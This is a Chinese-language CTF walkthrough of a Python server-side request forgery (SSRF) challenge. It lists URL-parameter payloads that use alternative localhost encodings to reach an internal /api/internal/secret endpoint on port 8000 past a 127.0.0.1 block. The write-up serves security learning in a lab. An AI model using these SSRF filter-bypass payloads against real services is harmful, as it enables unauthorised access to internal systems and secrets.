首页 > 编程语言 >[第三章 web进阶]Python里的SSRF

[第三章 web进阶]Python里的SSRF

时间:2023-07-12 17:57:14浏览次数:36  
标签:web http 进阶 Python url secret api 8000 internal

一、运行靶机

 发现没有有效界面信息,这个时候查看靶机说明信息,在说明信息里面明确提到访问容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

 二、根据提示信息访问url

由于提示信息中提到url path,则可以尝试设置参数名为url

?url=http://127.0.0.1:8000/api/internal/secret

 发现127.0.0.1被禁止访问,则可以尝试各种变形

?url=http://@127.0.0.1:8000@/api/internal/secret
?url=http://2130706433:8000/api/internal/secret
?url=http://0x7f.0x0.0x0.0x1:8000/api/internal/secret
?url=http://[::127.0.0.1]:8000/api/internal/secret
?url=http://127。0。0。1:8000/api/internal/secret
?url=http://127.1:8000/api/internal/secret

还是不行,休息一下后,想到127.0.0.1=0.0.0.0=127.127.127.127,就尝试使用

?url=http://0.0.0.0:8000/api/internal/secret
?url=http://127.127.127.127:8000/api/internal/secret
成功获取flag

 

标签:web,http,进阶,Python,url,secret,api,8000,internal
From: https://www.cnblogs.com/leez6590/p/17548363.html

相关文章

  • Python 类别别名 type alias
    TypealiasesTypealiasesaredefinedbysimplevariableassignments:Url=strdefretry(url:Url,retry_count:int)->None:... Notethatwerecommendcapitalizingaliasnames,sincetheyrepresentuser-definedtypes,which(likeuser-definedc......
  • Python面试
    1.了解哪些Python装饰器?@torch.no_grad():这个装饰器用于禁用梯度计算,以减少内存消耗和加速推断过程。@lru_cache 在记忆化搜索中保存历史结果。 2.GIL是什么GIL是CPython的一个特性,它限制了多线程的实现,单位时间只有一个线程能执行任务。但使用GIL可以更好的结合C++的......
  • wxpython重写统计图的工具栏的提示
    importwximportmatplotlibfrommatplotlib.figureimportFigurefrommatplotlib.backends.backend_wxaggimportFigureCanvasWxAggasFigureCanvasfrommatplotlib.backends.backend_wxaggimportNavigationToolbar2WxAggasNavigationToolbar#设置全局字体配置ma......
  • 开门入门篇之Web 品质 - 样式表
    ​目录Web品质-样式表Web品质-样式表Web品质样式表Web品质和样式表的关系结论​编辑 Web品质-样式表样式表是一种用于控制网站或Web应用程序外观和布局的技术。在正确使用样式表的情况下,它可以显着提高Web应用程序的性能、可维护性和可访问性。Web......
  • python实现ttl缓存
      importtimeimportfunctoolsimportthreadingdefttl_cache(func):cache={}lock=threading.Lock()@functools.wraps(func)defwrapper(*args,**kwargs):key=argsforiteminkwargs.items():key+=it......
  • PYTHON 函数 使用
    如何使用PYTHON里的ZIP函数a=["Peter","Ben","Alice","Jim"]b=["Apple","Banana","Pear","Orange"]新建两个列表,赋予不同的内容。pack=zip(a,b)print(list(pack))pack=zip(a,b)prin......
  • python实现两函数通过缩放,平移和旋转进行完美拟合
    Curve_fitting前几天在工作的时候接到了一个需求,希望将不同坐标系,不同角度的两条不规则曲线,并且组成该曲线的点集数量不一致,需求是希望那个可以通过算法的平移和旋转搞到一个概念里最贴合,拟合态进行比较。这是初步将两组数据画到图里的情况,和背景需求是一致的。其实从肉眼看过......
  • python pip安装使用
    安装了python,没安装pip,在pycharm中执行pip命令会报错:py:无法将“py”项识别为cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。首先需要安装pip下载pip并解压到本地:https://pypi.org/project/pip/#files,window我下载......
  • Python 量化投资(一):滑动均值、布林带、MACD、RSI、KDJ、OBV
    滑动均值和标准差为了更好利用向量化来加速,滑动窗口使用np.lib.stride_tricks.sliding_window_view(x,win)提取,它会返回所有x[i]开头并且长度为win的数组的数组。defrolling(x,win):r=np.lib.stride_tricks.sliding_window_view(x,win)pad=np.zeros([len(x)-......
  • python魔术方法之__new__
    一、基本用法#从一个类建立一个对象#__new__从class建立一个object过程#__init__有了object初始化过程classLanguage:def__new__(cls,*args,**kwargs):print("__new__")returnsuper().__new__(cls)def__init__(self):print(......